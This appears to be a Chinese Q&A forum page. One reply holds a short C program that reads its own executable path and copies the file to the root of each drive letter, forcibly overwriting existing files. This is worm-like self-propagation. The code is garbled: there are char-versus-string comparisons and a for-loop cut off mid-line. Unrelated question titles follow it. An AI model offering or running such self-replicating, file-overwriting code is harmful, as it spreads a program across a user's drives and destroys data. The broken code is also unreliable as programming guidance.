回覆列表
  • 1 # 使用者4912889400776

    #include "Windows.h" //以下函式得包含此標頭檔案int main(){

    char szPath[MAX_PATH]; //儲存自身檔名的字串

    char toPath[MAX_PATH] = "C:"; //要複製到的路徑字串

    int i;

    GetModuleFileNameA(NULL,(LPCH)szPath,225); //獲取自身路徑的函式 for (i = strlen(szPath); i > 0; i--) //獲取檔名的處理,就我所知,VC沒有獲取檔名的函式,要自己處理;BCB就有

    {

    if (szPath[i] == "\\") //最後一個‘\’後面就是檔名

    break;

    }

    strcat(toPath,&szPath[i]); //把檔名連線到toPath,得到“C:\*.exe”

    for (char ch = "c"; ch

    {

    toPath[0] = ch; //改碟符

    CopyFileA(szPath,toPath,false); //複製函式,從szPath複製到toPath,強行覆蓋原有檔案

    }

    return 0;

    }

  • 中秋節和大豐收的關聯?
  • 木工刨子尺寸製作口訣?